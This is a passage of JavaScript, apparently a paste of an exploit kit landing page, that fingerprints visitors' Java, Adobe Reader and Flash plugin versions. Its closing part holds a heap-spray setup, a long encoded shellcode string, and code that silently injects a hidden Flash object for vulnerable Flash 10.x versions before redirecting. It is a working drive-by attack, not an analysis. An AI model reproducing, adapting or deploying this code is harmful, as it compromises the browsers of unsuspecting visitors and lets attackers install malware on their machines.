  911.                                     for (a = 0; a < len; a++) {
  912.                                         b = h.getNum(d.get(len - 1 - a).version);
  913.                                         if (b) {
  914.                                             f.JREall[a] = b
  915.                                         }
  916.                                     }
  917.                                 }
  918.                             }
  919.                         } catch (i) {}
  920.                     }
  921.                     if (f.JREall.length > 0) {
  922.                         f.JRE = h.formatNum(f.JREall[0])
  923.                     }
  924.                     return f
  925.                 }
  926.             },
  927.             queryWithoutApplets00: function (c, a) {
  928.                 var b = window.java,
  929.                     d;
  930.                 try {
  931.                     if (b && b.lang && b.lang.System) {
  932.                         a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "]
  933.                     }
  934.                 } catch (d) {}
  935.             },
  936.             queryWithoutApplets: function () {
  937.                 var c = this,
  938.                     f = c.$,
  939.                     g, a = c.queryWithoutApplets;
  940.                 if (!a.value) {
  941.                     a.value = [null, null];
  942.                     if (!f.isIE && window.java) {
  943.                         if (f.OS == 2 && f.isOpera && (f.verOpera <= 9.1) && (f.verOpera - (8 + 1) >= 0)) {} else {
  944.                             if (f.isGecko && f.compareNums(f.verGecko, "1,9" + ",0,0") <= 0 && f.compareNums(f.verGecko, "1,8" + ",0,0") >= 0) {} else {
  945.                                 if (f.isGecko) {
  946.                                     var i, b, h = document;
  947.                                     if (h.createElement && h.createEvent) {
  948.                                         try {
  949.                                             i = h.createElement("div"), b = h.createEvent("HTMLEvents");
  950.                                             b.initEvent("change", false, false);
  951.                                             i.addEventListener("change", f.handler(c.queryWithoutApplets00, f, a), false);
  952.                                             i.dispatchEvent(b)
  953.                                         } catch (g) {}
  954.                                     }
  955.                                 } else {
  956.                                     c.queryWithoutApplets00(f, a)
  957.                                 }
  958.                             }
  959.                         }
  960.                     }
  961.                 }
  962.                 return a.value
  963.             },
  964.             applet: {
  965.                 results: [
  966.                     [null, null],
  967.                     [null, null],
  968.                     [null, null]
  969.                 ],
  970.                 HTML: [0, 0, 0],
  971.                 active: [0, 0, 0],
  972.                 allowed: [2, 2, 2],
  973.                 DummyObjTagHTML: 0,
  974.                 DummySpanTagHTML: 0,
  975.                 getResult: function () {
  976.                     var c = this.results,
  977.                         a, b;
  978.                     for (a = 0; a < c.length; a++) {
  979.                         b = c[a];
  980.                         if (b[0]) {
  981.                             break
  982.                         }
  983.                     }
  984.                     return [].concat(b)
  985.                 },
  986.                 canTry: function (d) {
  987.                     var b = this,
  988.                         c = b.$,
  989.                         a = b.parentNode;
  990.                     if (b.allowed[d] == 3) {
  991.                         return true
  992.                     }
  993.                     if (!a.version0 || !a.Enabled || (c.isIE && !c.ActiveXEnabled)) {
  994.                         if (b.allowed[d] == 2) {
  995.                             return true
  996.                         }
  997.                         if (b.allowed[d] == 1 && !b.getResult()[0]) {
  998.                             return true
  999.                         }
  1000.                     }
  1001.                     return false
  1002.                 },
  1003.                 canTryAny: function () {
  1004.                     var b = this,
  1005.                         a;
  1006.                     for (a = 0; a < b.allowed.length; a++) {
  1007.                         if (b.canTry(a)) {
  1008.                             return true
  1009.                         }
  1010.                     }
  1011.                     return false
  1012.                 },
  1013.                 canUseAppletTag: function () {
  1014.                     var b = this,
  1015.                         c = b.$,
  1016.                         a = b.parentNode;
  1017.                     return (!c.isIE || a.Enabled)
  1018.                 },
  1019.                 canUseObjectTag: function () {
  1020.                     var a = this,
  1021.                         b = a.$;
  1022.                     return (!b.isIE || b.ActiveXEnabled)
  1023.                 },
  1024.                 queryThis: function (h) {
  1025.                     var g, c = this,
  1026.                         b = c.parentNode,
  1027.                         f = b.$,
  1028.                         a = vendor = null,
  1029.                         d = f.getDOMobj(c.HTML[h], true);
  1030.                     if (d) {
  1031.                         try {
  1032.                             a = d.getVersion() + " ";
  1033.                             vendor = d.getVendor() + " ";
  1034.                             d.statusbar(f.winLoaded ? " " : " ")
  1035.                         } catch (g) {}
  1036.                         if (f.isStrNum(a)) {
  1037.                             c.results[h] = [a, vendor]
  1038.                         }
  1039.                         try {
  1040.                             if (f.isIE && a && d.readyState != 4) {
  1041.                                 f.garbage = true;
  1042.                                 d.parentNode.removeChild(d)
  1043.                             }
  1044.                         } catch (g) {}
  1045.                     }
  1046.                 },
  1047.                 insertHTMLQueryAll: function (e) {
  1048.                     var g = this,
  1049.                         n = g.parentNode,
  1050.                         d = n.$,
  1051.                         o = g.results,
  1052.                         q = g.HTML,
  1053.                         h = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1054.                         u = "A.class";
  1055.                     if (!d.isString(e) || !(/\.jar\s*$/).test(e) || (/\\/).test(e)) {
  1056.                         return [null, null]
  1057.                     }
  1058.                     if (n.OTF < 1) {
  1059.                         n.OTF = 1
  1060.                     }
  1061.                     if (n.jreDisabled()) {
  1062.                         return [null, null]
  1063.                     }
  1064.                     if (n.OTF < 2) {
  1065.                         n.OTF = 2
  1066.                     }
  1067.                     var c = e,
  1068.                         t = "",
  1069.                         m;
  1070.                     if ((/[\/]/).test(e)) {
  1071.                         m = e.split("/");
  1072.                         c = m[m.length - 1];
  1073.                         m[m.length - 1] = "";
  1074.                         t = m.join("/")
  1075.                     }
  1076.                     var j = ["archive", c, "code", u],
  1077.                         l = ["mayscript", "true"],
  1078.                         r = ["scriptable", "true"].concat(l),
  1079.                         f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0];
  1080.                     if (!q[0] && g.canUseObjectTag() && g.canTry(0)) {
  1081.                         q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n);
  1082.                         o[0] = [0, 0];
  1083.                         g.queryThis(0)
  1084.                     }
  1085.                     if (!q[1] && g.canUseAppletTag() && g.canTry(1)) {
  1086.                         q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n);
  1087.                         o[1] = [0, 0];
  1088.                         g.queryThis(1)
  1089.                     }
  1090.                     if (!q[2] && g.canUseObjectTag() && g.canTry(2)) {
  1091.                         q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML();
  1092.                         o[2] = [0, 0];
  1093.                         g.queryThis(2)
  1094.                     }
  1095.                     if (!g.DummyObjTagHTML && g.canUseObjectTag()) {
  1096.                         g.DummyObjTagHTML = d.insertHTML("object", [], [], h)
  1097.                     }
  1098.                     if (!g.DummySpanTagHTML) {
  1099.                         g.DummySpanTagHTML = d.insertHTML("", [], [], h)
  1100.                     };
  1101.                     if (n.OTF <= 2 && ((q[0] && !o[0][0]) || (q[1] && !o[1][0]) || (d.isIE && q[2] && !o[2][0]))) {
  1102.                         var i = n.NOTF,
  1103.                             b = i.isJavaActive();
  1104.                         if (b >= 0) {
  1105.                             n.OTF = 3;
  1106.                             n.installed = b == 1 ? 0.5 : -0.5;
  1107.                             i.onIntervalQuery = d.handler(i.$$onIntervalQuery, i);
  1108.                             if (!d.winLoaded) {
  1109.                                 d.WLfuncs0.push([i.winOnLoadQuery, i])
  1110.                             }
  1111.                             setTimeout(i.onIntervalQuery, i.intervalLength)
  1112.                         }
  1113.                     };
  1114.                     var k, a = 0;
  1115.                     for (k = 0; k < o.length; k++) {
  1116.                         if (q[k] || g.canTry(k)) {
  1117.                             a++
  1118.                         } else {
  1119.                             break
  1120.                         }
  1121.                     }
  1122.                     if (a == o.length) {
  1123.                         n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1
  1124.                     }
  1125.                     return g.getResult()
  1126.                 }
  1127.             },
  1128.             NOTF: {
  1129.                 count: 0,
  1130.                 countMax: 25,
  1131.                 intervalLength: 250,
  1132.                 isJavaActive: function () {
  1133.                     var e = this,
  1134.                         c = e.parentNode,
  1135.                         a, b, d = -9;
  1136.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1137.                         b = e.isAppletActive(a);
  1138.                         c.applet.active[a] = b;
  1139.                         if (b > d) {
  1140.                             d = b
  1141.                         }
  1142.                     }
  1143.                     return d
  1144.                 },
  1145.                 isAppletActive: function (g) {
  1146.                     var h = this,
  1147.                         d = h.$,
  1148.                         c = h.parentNode,
  1149.                         b = c.applet,
  1150.                         f, a = d.getTagStatus(b.HTML[g], b.DummySpanTagHTML, b.DummyObjTagHTML, h.count);
  1151.                     if (a == -2) {
  1152.                         return -2
  1153.                     }
  1154.                     try {
  1155.                         if (d.isIE && (d.verIE - c.minIEver >= 0) && d.getDOMobj(b.HTML[g]).object) {
  1156.                             return 1
  1157.                         }
  1158.                     } catch (f) {}
  1159.                     if (a == 1 && (d.isIE || ((c.version0 && c.Enabled && c.Enabled) || c.queryWithoutApplets()[0]))) {
  1160.                         return 1
  1161.                     }
  1162.                     if (a < 0) {
  1163.                         return -1
  1164.                     }
  1165.                     return 0
  1166.                 },
  1167.                 winOnLoadQuery: function (c, d) {
  1168.                     var b = d.parentNode,
  1169.                         a;
  1170.                     if (b.OTF == 3) {
  1171.                         a = d.queryAllApplets();
  1172.                         d.queryCompleted(a[1], a[2])
  1173.                     }
  1174.                 },
  1175.                 $$onIntervalQuery: function (d) {
  1176.                     var c = d.$,
  1177.                         b = d.parentNode,
  1178.                         a;
  1179.                     if (b.OTF == 3) {
  1180.                         a = d.queryAllApplets();
  1181.                         if (a[0] || (c.winLoaded && d.count > d.countMax)) {
  1182.                             d.queryCompleted(a[1], a[2])
  1183.                         }
  1184.                     }
  1185.                     d.count++;
  1186.                     if (b.OTF == 3) {
  1187.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1188.                     }
  1189.                 },
  1190.                 queryAllApplets: function () {
  1191.                     var g = this,
  1192.                         f = g.$,
  1193.                         e = g.parentNode,
  1194.                         d = e.applet,
  1195.                         b, a, c;
  1196.                     for (b = 0; b < d.results.length; b++) {
  1197.                         d.queryThis(b)
  1198.                     }
  1199.                     a = d.getResult();
  1200.                     c = (a[0] || g.isJavaActive() < 0) ? true : false;
  1201.                     return [c, a[0], a[1]]
  1202.                 },
  1203.                 queryCompleted: function (c, f) {
  1204.                     var e = this,
  1205.                         d = e.$,
  1206.                         b = e.parentNode;
  1207.                     if (b.OTF == 4) {
  1208.                         return
  1209.                     }
  1210.                     b.OTF = 4;
  1211.                     var a = e.isJavaActive() == 1 ? true : false;
  1212.                     if (c || b.queryWithoutApplets()[0]) {
  1213.                         b.installed = 1
  1214.                     } else {
  1215.                         if (a) {
  1216.                             if (b.version0) {
  1217.                                 b.installed = 1;
  1218.                                 c = b.version0
  1219.                             } else {
  1220.                                 b.installed = 0
  1221.                             }
  1222.                         } else {
  1223.                             if (b.installed == 0.5) {
  1224.                                 b.installed = 0
  1225.                             } else {
  1226.                                 if (b.version0) {
  1227.                                     b.installed = -0.2
  1228.                                 } else {
  1229.                                     b.installed = -1
  1230.                                 }
  1231.                             }
  1232.                         }
  1233.                     }
  1234.                     b.EndGetVersion(c, f);
  1235.                     if (b.funcs) {
  1236.                         d.callArray(b.funcs)
  1237.                     }
  1238.                     if (d.onDoneEmptyDiv) {
  1239.                         d.onDoneEmptyDiv()
  1240.                     }
  1241.                 }
  1242.             },
  1243.             append: function (e, d) {
  1244.                 for (var c = 0; c < d.length; c++) {
  1245.                     e.push(d[c])
  1246.                 }
  1247.             },
  1248.             JavaFix: function () {}
  1249.         },
  1250.         flash: {
  1251.             mimeType: ["application/x-shockwave-flash", "application/futuresplash"],
  1252.             progID: "ShockwaveFlash.ShockwaveFlash",
  1253.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1254.             getVersion: function () {
  1255.                 var b = function (i) {
  1256.                     if (!i) {
  1257.                         return null
  1258.                     }
  1259.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1260.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1261.                 };
  1262.                 var d, h = this,
  1263.                     f = h.$,
  1264.                     j, g, k = null,
  1265.                     c = null,
  1266.                     a = null;
  1267.                 if (!f.isIE) {
  1268.                     d = f.findNavPlugin("Flash");
  1269.                     if (d && d.description && f.hasMimeType(h.mimeType)) {
  1270.                         k = b(d.description)
  1271.                     }
  1272.                     if (k) {
  1273.                         k = f.getPluginFileVersion(d, k)
  1274.                     }
  1275.                 } else {
  1276.                     for (g = 15; g > 2; g--) {
  1277.                         c = f.getAXO(h.progID + "." + g);
  1278.                         if (c) {
  1279.                             a = g.toString();
  1280.                             break
  1281.                         }
  1282.                     }
  1283.                     if (a == "6") {
  1284.                         try {
  1285.                             c.AllowScriptAccess = "always"
  1286.                         } catch (j) {
  1287.                             return "6,0,21,0"
  1288.                         }
  1289.                     }
  1290.                     try {
  1291.                         k = b(c.GetVariable(""))
  1292.                     } catch (j) {}
  1293.                     if (!k && a) {
  1294.                         k = a
  1295.                     }
  1296.                 }
  1297.                 h.installed = k ? 1 : -1;
  1298.                 h.version = f.formatNum(k);
  1299.                 return true
  1300.             }
  1301.         },
  1302.         adobereader: {
  1303.             mimeType: "application/pdf",
  1304.             navPluginObj: null,
  1305.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1306.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1307.             INSTALLED: {},
  1308.             pluginHasMimeType: function (d, c, f) {
  1309.                 var b = this,
  1310.                     e = b.$,
  1311.                     a;
  1312.                 for (a in d) {
  1313.                     if (d[a] && d[a].type && d[a].type == c) {
  1314.                         return 1
  1315.                     }
  1316.                 }
  1317.                 if (e.getMimeEnabledPlugin(c, f)) {
  1318.                     return 1
  1319.                 }
  1320.                 return 0
  1321.             },
  1322.             getVersion: function (i, j) {
  1323.                 var f = this,
  1324.                     c = f.$,
  1325.                     h, d, k, m = p = null,
  1326.                     g = null,
  1327.                     l = null,
  1328.                     a, b;
  1329.                 j = (c.isString(j) && j.length) ? j.replace(/\s/, "").toLowerCase() : f.mimeType;
  1330.                 if (c.isDefined(f.INSTALLED[j])) {
  1331.                     f.installed = f.INSTALLED[j];
  1332.                     return
  1333.                 }
  1334.                 if (!c.isIE) {
  1335.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1336.                     if (f.getVersionDone !== 0) {
  1337.                         f.getVersionDone = 0;
  1338.                         p = c.getMimeEnabledPlugin(f.mimeType, a);
  1339.                         if (!p && c.hasMimeType(f.mimeType)) {
  1340.                             p = c.findNavPlugin(a, 0)
  1341.                         }
  1342.                         if (p) {
  1343.                             f.navPluginObj = p;
  1344.                             g = c.getNum(p.description) || c.getNum(p.name);
  1345.                             g = c.getPluginFileVersion(p, g);
  1346.                             if (!g && c.OS == 1) {
  1347.                                 if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) {
  1348.                                     g = "9"
  1349.                                 } else {
  1350.                                     if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) {
  1351.                                         g = "8"
  1352.                                     }
  1353.                                 }
  1354.                             }
  1355.                         }
  1356.                     } else {
  1357.                         g = f.version
  1358.                     }
  1359.                     m = c.getMimeEnabledPlugin(j, a);
  1360.                     f.installed = m && g ? 1 : (m ? 0 : (f.navPluginObj ? -0.2 : -1))
  1361.                 } else {
  1362.                     p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
  1363.                     b = /=\s*([\d\.]+)/g;
  1364.                     try {
  1365.                         d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
  1366.                         for (k = 0; k < 5; k++) {
  1367.                             if (b.test(d) && (!g || (g - RegExp.$1 < 0))) {
  1368.                                 g = RegExp.$1
  1369.                             }
  1370.                         }
  1371.                     } catch (h) {}
  1372.                     f.installed = g ? 1 : (p ? 0 : -1)
  1373.                 }
  1374.                 if (!f.version) {
  1375.                     f.version = c.formatNum(g)
  1376.                 }
  1377.                 f.INSTALLED[j] = f.installed
  1378.             }
  1379.         },
  1380.         zz: 0
  1381.     };
  1382.     PluginDetect.initScript();
  1383.     PluginDetect.getVersion(".");
  1384.     jver = PluginDetect.getVersion("Java", "./getJavaInfo.jar");
  1385.     pdfver = PluginDetect.getVersion("AdobeReader");
  1386.     flashver = PluginDetect.getVersion('Flash');
  1387. } catch (e) {}
  1388. if (typeof jver == 'string') {
  1389.     jver = jver.split('.')
  1390. } else {
  1391.     jver = [0, 0, 0, 0]
  1392. }
  1393. if (typeof pdfver == 'string') {
  1394.     pdfver = pdfver.split('.')
  1395. } else {
  1396.     pdfver = [0, 0, 0, 0]
  1397. }
  1398. if (typeof flashver == 'string') {
  1399.     flashver = flashver.split('.')
  1400. } else {
  1401.     flashver = [0, 0, 0, 0]
  1402. }
  1403. function spl0() {
  1404.     spl1()
  1405. }
  1406. function spl1() {
  1407.     spl2()
  1408. }
  1409. function spl2() {
  1410.     spl3()
  1411. }
  1412. function spl3() {
  1413.     spl4()
  1414. }
  1415. function spl4() {
  1416.     setTimeout(spl5, 1000)
  1417. }
  1418. function getCN() {
  1419.     return 'content/score.swf'
  1420. }
  1421. function getBlockSize() {
  1422.     return 1024
  1423. }
  1424. function getAllocSize() {
  1425.     return 1024 * 1024
  1426. }
  1427. function getAllocCount() {
  1428.     return 300
  1429. }
  1430. function getFillBytes() {
  1431.     var a = '%u' + '0c0c';
  1432.     return a + a;
  1433. }
  1434. function getShellCode() {
  1435.     return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u45e9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u4958%u4d46%u4944%u5d46%u4b46%u4741%u065b%u4d45%u4150%u474b%u5d58%u444a%u4b41%u4c41%u4c49%u4b06%u4547%u5f07%u5806%u5840%u4e17%u1915%u0e1e%u154d%u281e%u0028"
  1436. }
  1437. function spl5() {
  1438.     var ver1 = flashver[0];
  1439.     var ver2 = flashver[1];
  1440.     var ver3 = flashver[2];
  1441.     if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10 && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == 10 && ver2 < 2))) {
  1442.         var fname = "content/field";
  1443.         var Flash_obj = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
  1444.         Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  1445.         al = "always";
  1446.         Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  1447.         Flash_obj += "<param name='Play' value='0' />";
  1448.         Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  1449.         Flash_obj += "allowScriptAccess='" + al + "'";
  1450.         Flash_obj += "type='application/x-shockwave-flash'";
  1451.         Flash_obj += "width='10' height='10'>";
  1452.         Flash_obj += "</embed>";
  1453.         Flash_obj += "</object>";
  1454.         var oSpan = document.createElement("span");
  1455.         document.body.appendChild(oSpan);
  1456.         oSpan.innerHTML = Flash_obj;
  1457.     }
  1458.     setTimeout(end_redirect, 8000);
  1459. }
  1460. spl0();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement